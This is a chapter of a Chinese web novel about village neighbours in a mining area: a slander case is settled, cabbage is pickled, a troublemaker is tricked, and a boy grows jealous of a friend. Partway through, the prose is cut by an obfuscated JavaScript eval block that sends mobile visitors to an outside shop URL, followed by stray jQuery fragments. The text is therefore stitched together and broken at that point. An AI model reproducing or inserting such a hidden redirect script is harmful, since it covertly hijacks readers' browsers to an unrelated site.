傍晚的夕阳照映着小少男小少女。
走在后面的江美丽目睹这一切,忍不住捂脸。
好像,貌似……有点说不出的丢人。
秦青山倒是看得津津有味。
人带着股别样轻松地笑了。
他牵住江美丽的手,女人一顿,也握紧了他。
迎着夕阳,舒心地说:“没想到,老太太会来帮我们说话,我虽然帮过人家,但也很意外。”
秦青山温柔嗯了声,“你善良,老太太也善良。”
江美丽脑袋靠在丈夫肩上,抿着唇笑:“真好呐。”
……
周如梅给老太太做了晚饭才走,六点钟林则峰去县里干瓦匠活回到家,听说这件事时,正在灶台边添材火,“你怎么想到去找崔老太出面的?”
周如梅舀一瓢温水和面:“今天钱老六找来王婆子和孙凤琴,显然没安好心,副书记又明显不想主持公道,我就猜这事不妙。”
她看向丈夫:“之前这种事儿又不是没有过,你还记得不,十年前冯长贵怀疑他媳妇给他带绿帽子,把媳妇打了一顿拉到大队去批斗,事儿一闹,冯长贵跟媳妇娘家要到了钱,过后就算冯长贵媳妇证明自己清白,可有多少人相信?”
“很多人心里都记着出过这一档子事,看见冯长贵媳妇,依然在背后指指点点。”
“还有去年隔壁村那个知青,被怀疑偷吃生产队的鸡,都没证据,就是怀疑呢,回城的机会就被耽误了。”
想泼脏水容易,空口白牙一张嘴就能把人的名声坏了。
周如梅:“今天刘书记不在,当时的场面,只有村里最有威望的崔老太太出面才行!”
林则峰:“那崔老太是你找来帮忙的,为啥没跟小江说?”
周如梅拿台板擀面条,语气柔和几分:“今天这出突如其来的污蔑,美丽一定气愤委屈,让她以为崔老太太是主动去的,她心里能舒服不少。”
“毕竟在村里除了我,还有人愿意给她撑腰,她一定能心里暖和些。”
林则峰听见媳妇话,赞同:“你说的也是,不然小江和秦工以后在村里住着一定不得劲儿。”
面条下锅,锅里热气弥漫在厨房,屋里被一层暖意包裹。
林则峰出去叫小女儿吃饭,在西屋和院里找了一圈没看见人,周如梅也出来,夫妻俩在秦家屋顶上找着了人。
天色暮合,夜空中寥寥几颗星闪亮,一对儿小人并肩坐在屋顶,在说话。
林则峰刚要叫他们下来吃饭,周如梅拦住:“欸,先别打扰他们,孩子们饿了就知道下来了。”
“怀阳今天一定吓到了,让小鹰再陪他说说话。”
屋顶上,两张漂亮的小脸蛋在微笑,聊得忘乎所以,连地上大人的身影也没注意到。
“我们先进屋吃饭。”
周如梅笑着进了屋,林父站在院里多看了一眼小女儿。
莹莹星光下,那对儿小身影挨得亲近。
唉。
他都没被闺女这么贴心的陪过呢。
臭小子。
—
翌日清早,下了一层秋霜。
窗外院里的小草像裹上细碎的糖粒,在晨光下泛着朦胧的白。
爸妈上班之前,秦怀阳问:“爸爸,你什么时候调回沈城?”
秦青山和江美丽以为儿子是因为昨天被污蔑的事,不喜欢这里了,却听儿子继续说:“我想留在这,和小鹰一起念初中、高中,一起考大学。”
江美丽一愣,秦青山则笑问:“那你是想自己留在这?不和爸爸妈妈一起回去了?”
秦怀阳:“我有这个打算。”
小少年语气坚定,让夫妻俩都认真了几分。
他背上书包,拿上一个馒头路上吃,“这件事我决定了。”
“你们好好考虑一下。”
秦怀阳出门去上学。
江美丽在屋里叹气:“真是儿大不中留啊……”
秦青山好笑:“那不是随了你,你到这边认识了梅姐,感情都快比跟我还好了。”
“……”
江美丽脖子系上昨晚梅姐送给她的橘色纱巾,在镜子前臭美,“怎么会呢。”
她笑:“当然还是跟你亲一些呀。”
秦青山半信半疑。
……
接下来一周,因为矿区丢煤的事秦青山被怀疑传到了领导耳朵里,矿区领导加大偷煤事件调查力度,并召示凡提供信息者有奖赏,几日内便有人举报是萤石村的钱富贵和隔壁村一个人合伙偷窃。
钱富贵挨到处罚和批斗,被矿区要求赔偿,矿工的工作也没了,原本是想陷害秦青山,结果搬起石头把自己砸个正着。
调查时,钱富贵为少交罚款,主动供出是矿局一个准备评先进的技术工程师给他出的主意,也是前天矿区对那个技工的通报出来,江美丽才明白,原来一切根源是那份“先进”。
隔天,秦青山被评上先进生产者的公告就通知下来,颁发了奖状。
大队书记当天带着副书记和钱老六来给秦工和江美丽道歉。
这天周末。
江美丽和周如梅一起晒白菜,江家院小,两家的大白菜都在林家院里一起晒。
毛绒绒的小麻雀落在墙头,叽叽喳喳叫。
江美丽声音也欢快:“这就叫恶人有恶报,哼,让他们陷害人。”
周如梅庆幸:“幸好没耽误秦工评先进。”
“嗯!”
院里前天晒了一拨白菜,菜叶微微干不容易烂掉,是用来今天腌酸菜的。
江美丽不会腌,在菜缸旁边给周如梅递菜。
邻居张婶出来倒水,隔着矮墙头胳膊挎盆,过来跟她们唠嗑。
周如梅笑盈盈问:“张婶你家腌酸菜了吗?”
“腌上啦,昨天下午和我老头子一起腌了两大缸,”张婶眼角眉梢满是精气神:“今年过年我大闺女和老闺女带女婿回来,家里人多,得多包点饺子吃。”
周如梅:“今年白菜好,下了两次霜,腌酸菜一定好吃。”
“不光腌酸菜味能好,昨晚我炖了半颗,可甜了!”张婶笑道。
瞧着江美丽穿着见鲜亮的红毛衣,张婶打听着问:“对了小江,听说秦工评上先进生产者啦?”
“对,前几天刚发的奖状。”
“恭喜啦!”张婶又问:“那秦工的先进也下来了,小江你们是不是要搬去县里的矿工院住了啊?”
“领导说还没有多余的房子。”
江美丽补充:“而且我和青山都不想搬,搬到新地方邻居不知道好不好相处呢,我还是喜欢和梅姐张婶你们做邻居。”
张婶抿嘴笑:“也是,住楼房除了上厕所方便点,我觉着别的没有咱们农村住着舒坦!”
“自家有自家的小院,接地气。”
“是呢呗。”
等张婶回屋,江美丽挨着周如梅啧了声。
“我和青山哪敢搬呀,儿子都带不走!”
周如梅被逗笑。
之前江美丽跟她提过秦怀阳不想跟他们回沈城,周如梅安慰她:“没事的,小孩子的想法嘛一时一变。”
“你家原来住的老孙,他家儿子从小和小鹰一起长大的,去南方之前也舍不得小鹰,哭得稀里哗啦的。”
“等父母走的时候,还是会跟着的。”
一缸酸菜腌上,江美丽掐着腰感慨:“唉,希望秦怀阳能有点孝心。”
刚才提起评先进的事,江美丽看了眼蔚蓝的天空,发出一声轻叹。
听这声叹,周如梅问:“还为小阳那话伤心呢。”
“不是秦怀阳。”
江美丽语重心长:“梅姐,我还在想青山差点被冤枉的事,你说这先进原本大概率就是我家青山,那些坏人得到惩罚,惩罚的都是他们自己做过的坏事,那污蔑人的事儿呢?”
“一句道歉就过去了?”
江美丽哼了声:“我一想到那天钱老六道歉时不情愿的嘴脸,肚子里就一股气!”
那天周如梅没在家,还是听小鹰提起的。
江美丽又叹一声,倒也没牛角尖专生这股子气。
她忽然想起来:“对了梅姐,这次矿工楼没空房,领导给青山多发了奖品,有一对儿搪瓷缸,我家里之前发的还没用呢,等会儿我拿来给你哈。”
周如梅笑着答应,“行。”
“老林泡茶的杯旧了,舍不得买新的,我正好想着要买呢,那我就不客气了。”
往年一缸酸菜够一家人吃,今年多美丽一家三口,周如梅准备腌两缸,结果准备好缸却忘记准备压菜石头。
俩人去张婶家借上手推车,去村口的野地里找石头。
找到大小合适的石头,她们一起搬上拖车,要走时好巧不巧,遇见了钱老六。
看见她们,钱老六也一顿,扭头往另一边走,但还是被周如梅俩人看见了他两只眼睛的淤青。
青一块紫一块的,特别滑稽,估计是钱老六连累了副书记,被家里那个彪悍的媳妇打了。
这片野地都是砂石,这会儿子家家户户都腌酸菜,钱老六来这边也应该是家里媳妇让来找压酸菜石头。
周如梅故意磨蹭一会儿,说:“美丽,咱们再挑一块石头吧,万一这块不够沉呢。”
这大野地的,钱老六不是啥好人,江美丽忍着厌恶,没搭理钱老六。
等她们挑好了石头,却见钱老六犹犹豫豫地过来,江美丽瞄见他身影,一股火就冒出来,周如梅却拉了一下她手,看向吊眼梢的男人:“钱老六,有事啊?”
见周如梅和和气气的,钱老六直接开口:“那个,老林媳妇,我家婆娘等着用石头腌酸菜,非要我挑个大石头,我想借你的车一起推回村。”
“行,都是一个村的,这车一起用呗。”周如梅一口答应。
钱老六高兴地去搬石头,周如梅喊了声:“我和美丽还得挑一块呢,老六你先搬石头往前走,我们一会儿就推车赶上你。”
钱老六知道老林媳妇为人实在,哎了声,搬上石头先往回走。
江美丽瞥了一眼钱老六,“梅姐…”
“嘘。”
周如梅小声:“等他走远的。”
磨蹭着挑石头,另一边钱老六气喘吁吁搬着石头走出一百多米,周如梅拍拍手上灰:“走,美丽,咱们回家。”
石头推回家,第二缸酸菜也腌好。
晚饭江美丽炒一盘白菜,又用梅姐送的大酱炒一碗鸡蛋酱,秦怀阳又去隔壁吃饭了。
饭桌上,江美丽边吃,边噗嗤笑一声。
秦青山:“想什么呢?笑得这么开心。”
江美丽眉飞色舞地告诉他:“今儿下午,钱老六被梅姐耍了!”
下午她们推车路过钱老六,没等钱老六把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941036|213924||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
石头搬上车,周如梅反悔说她挑的第二块石头沉,这推车是张婶家推干草用的,他的石头块大,怕把张婶的车压坏了。
愣是没让钱老六把石头搬上车。
江美丽:“钱老六那块石头是块压酸菜的好石,梅姐从一开始就瞧出钱老六相中了这块石头,等着回家讨好媳妇呢。”
“咱们扔下钱老六走时,周姐还好心提醒让他快点搬回家,”
想起回来路上钱老六在她们后面苦兮兮搬石头,累得像条狗的样,江美丽心里就痛快!
她美滋滋地说:“这是梅姐帮我解气呢!”
秦青山给她夹块鸡蛋:“嗯,梅姐看着朴实其实很聪明。”
“当然啦,梅姐聪明着呢。”
江美丽吃几口饭,想起件事:“对了,你前天说想给萤石村争取几个矿工名额,领导同意了吗?”
“同意了。”
秦青山喜色道:“我刚要跟你讲呢,我申请下来三个名额,一会儿吃过饭,我就去刘书记家一趟,让书记考虑把名额怎么分。”
江美丽连连赞同:“对,这是好事,你早点去跟书记说!”
秦青山点头,语重心长:“虽然崔老太太给大家讲明白了咱们要为国家建设着想,但咱们普通老百姓的生活也重要。以前大家习惯捡煤换钱用,火车道掉的煤虽不多,但卖上几毛钱也能贴补家用,给孩子买根冰棍、换水果吃,改善改善生活也是好的。”
“我能申请下来几个名额,帮村里的人多挣一点是一点。”
“等明年开春,再回生产队挣工分,农忙务农,农闲务工,两不耽误。”
吃过饭秦青山便出门。
江美丽收拾碗筷,屋子刚搬来收拾过墙面,只有一副毛主席的画像一直贴着没动。
江美丽边收拾,嘴里哼哼着歌:“北京的金山上光芒照四方,毛主席就像那金色的太~~阳,多么温暖,多么慈祥,把翻身农奴心儿照亮~”
“我们迈步走在~社会主义幸福的大道上~”
“哎巴扎嘿!”
……
十一月末,下了今年第一场雪。
雪来得早,只有一层薄薄的雪粒子铺落地面。
第二场雪恰在大雪节气那日,一场纷飞大雪,小孩们心心念念的雪人堆上,大人们高兴着瑞雪兆丰年,林则峰从城里给孩子们买了梨,放在外面窗台做冻秋梨。
还买了一袋山楂,削木签子。
这天周末,周如梅在厨房里熬糖浆,山楂去籽,淋上锅里的糖浆,晶莹剔透的糖浆包裹着一颗颗大红山楂,瞧着就馋人。
等糖浆定型,周如梅把第一根糖葫芦,给了小鹰。
第二根给秦怀阳。
第三根给林鸣。
孩子们拿上糖葫芦跑去出玩,江美丽站在灶台边,伸出双手:“我的呢?”
周如梅把第四根裹好糖浆,笑盈盈看她:“呦,这是谁家十八岁的小姑娘呀,瞧着就招人稀罕,给你一根糖葫芦吃吧。”
江美丽笑成了花,接过糖葫芦,捏着嗓子说:“谢谢周阿姨啦。”
“咔嚓”咬一口,酸甜味漫在嘴里。
屋子里其乐融融,屋子外,林鸣刚跑出屋脚底打滑摔了一跤,手里的糖葫芦飞到了雪堆里,新雪不脏,还能捡起来吃,但是飞掉了一颗山楂。
山楂被秦怀阳手快捡起,一转身,按在了他和林鹰一起堆的雪人身上,做成了一颗红色大纽扣。
有麻雀飞过,还好奇落在雪人身上,看了几眼。
一入冬,家家户户在屋里按上火炉子,学校放寒假,小孩们撒泼地在村里跑着玩。
进了腊月就是年,农村过年的气氛比城里浓厚,不仅杀猪买鱼,有的人家爱吃粘豆包,拿黄黏米包了豆包,贴上苏子叶,蒸熟放到院里冻上能保存一整个冬天。
粘豆包张婶做得好,往年都给周如梅家和老孙家送一些,今年也送。
还给江美丽家也送了半簸箕。
瞧着邻居们都会做点好吃的,江美丽有些不好意思,但又不会做啥,想了想,让秦青山休息时去趟城里买上七八块豆腐和一袋地瓜,豆腐切块,零下三十度的冬天冻一晚,就成了冻豆腐。
江美丽装成三袋,一袋给崔老太太,另外两袋给梅姐和张婶家送去。
地瓜则被秦怀阳霸占。
每天都拿几根去隔壁,和小鹰一起烤地瓜。
窗外飘着雪花,夫妻俩在屋里炉子边烤手。
江美丽泡壶茶:“你说地瓜烤好了,咱儿子能给咱俩送回来两根不?”
秦青山琢磨着:“最起码能送回来一根。”
夫妻俩喝着茶,没多会儿屋外有人推门,秦怀阳捧着碗进屋,碗里装着两根皮糊冒油焦黄的地瓜。
一股香甜味飘来。
没等夫妻俩纷纷欣慰感动。
秦怀阳把地瓜放在凳子上,给自己到了杯茶喝。
江美丽揪下一块热乎地瓜,瞧着儿子这半年越长越俊俏的小脸蛋,刚想夸,却见小少年一副有心事的模样。
江美丽:“咋了,你跟小鹰吵架啦?”
“没。”
秦怀阳:“那个孙胜,下周过年会回来,小鹰听说后很开心。”
江美丽眨了眨眼:“孙胜?小鹰的那个青梅竹马呀?”
“那小鹰应该开心呀,你不高兴什么?”
秦怀阳抿唇,没吭声。